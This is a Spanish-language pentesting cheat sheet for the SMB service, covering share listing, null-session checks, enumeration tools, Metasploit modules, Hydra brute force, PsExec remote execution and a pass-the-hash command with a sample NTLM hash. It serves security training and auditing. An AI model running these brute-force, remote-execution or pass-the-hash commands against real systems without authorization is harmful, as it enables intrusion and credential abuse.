Skip to content

SMB (Server Message Block)

El servicio SMB permite el intercambio de archivos, impresoras y comunicación entre procesos (IPC). Es uno de los vectores más comunes en entornos Windows.

Puertos:

  • 139/TCP: NetBIOS sobre TCP.
  • 445/TCP: SMB directo sobre TCP (moderno).

📂 Interactuando con el Servicio (Post-Acceso)

Una vez que posees credenciales o acceso anónimo, estas son las formas de gestionar archivos y recursos.

Listar y Conectar

bash
# Listar recursos compartidos con un usuario específico
smbclient -L //<TARGET_IP>/ -U <USER>

# Conectar a un recurso compartido (ej: Public)
smbclient //<TARGET_IP>/Public -U <USER>

Comandos dentro de la Shell de smbclient

Una vez dentro (verás el prompt smb: \>), puedes usar comandos similares a FTP:

  • ls: Listar archivos del directorio actual.
  • cd <carpeta>: Cambiar de directorio.
  • get <archivo>: Descargar un archivo a tu máquina local.
  • put <archivo>: Subir un archivo desde tu máquina al servidor.
  • mask "" y recurse ON: Configuración para descargar carpetas enteras.
  • prompt OFF: Desactiva la confirmación para cada archivo.
  • mget *: Descargar todos los archivos del directorio.

Montar un recurso en Linux

Para trabajar con los archivos como si estuvieran en tu propio disco:

bash
sudo mount -t cifs -o username=<USER> //<TARGET_IP>/<SHARE> /mnt/smb_local

Todo esto lo podremos hacer cuando tenemos credenciales de acceso, si no lo tenemos, debemos de conseguirlas.

🔍 Enumeración Inicial (Recon)

La enumeración busca identificar versiones vulnerables, recursos compartidos sin contraseña o nombres de usuario.

Herramientas Automatizadas

bash
# Enumeración completa (usuarios, grupos, recursos, políticas)
enum4linux -a <TARGET_IP>

# Alternativa moderna (más rápida y visual)
crackmapexec smb <TARGET_IP> --shares -u '' -p ''

Comprobación de Acceso Anónimo (Null Session)

Si el servidor permite sesiones nulas, puedes listar recursos sin credenciales.

bash
# Listar recursos compartidos
smbclient -N -L //<TARGET_IP>/

# Intentar conectar a un recurso específico
smbclient //<TARGET_IP>/<SHARE_NAME> -N

Módulos de Metasploit Útiles

  • auxiliary/scanner/smb/smb_version: Detecta la versión exacta del SO y SMB.
  • auxiliary/scanner/smb/smb_enumusers: Extrae usuarios mediante RPC.
  • auxiliary/scanner/smb/smb_enumshares: Lista recursos compartidos y permisos.

🚀 Explotación y Post-Explotación

Fuerza Bruta

Si no hay bloqueo de cuenta configurado, se puede intentar obtener credenciales por fuerza bruta.

bash
# Usando Hydra
hydra -L users.txt -P passwords.txt smb://<TARGET_IP>

# Usando Metasploit (más sigiloso)
use auxiliary/scanner/smb/smb_login

Movimiento Lateral (Obtención de Shell)

Si tienes credenciales de Administrador (o un hash), puedes ejecutar comandos de forma remota.

  • PsExec (SMB Directo): Requiere acceso al recurso ADMIN$.
bash
# Con herramientas de Impacket (muy recomendado)
impacket-psexec domain/user:password@<TARGET_IP>
  • Metasploit:exploit/windows/smb/psexec (Sube un ejecutable malicioso al share).

Ataque Pass-the-Hash (PtH)

Si tienes el hash NTLM pero no la contraseña en texto claro.

bash
# Formato: Usuario%LM:NTLM
pth-smbclient -U admin%aad3b435b51404eeaad3b435b51404ee:8846f7eaee2d5c322c596375ec2d32dd //<TARGET_IP>/C$

✅ Checklist de Auditoría SMB

🔍 Identificar versión y SO
🔓 Verificar Null Session (IPC$)
📂 Listar Shares y permisos
👥 Enumerar usuarios (RID/RPC)
🛡️ Comprobar SMB Signing
🦠 Buscar exploits
🔑 Fuerza bruta (smb_login)
🚀 RCE (PsExec / Shell)
💾 Buscar archivos sensibles

Sin copyright ni nada. Ház lo que quieras con todo esto.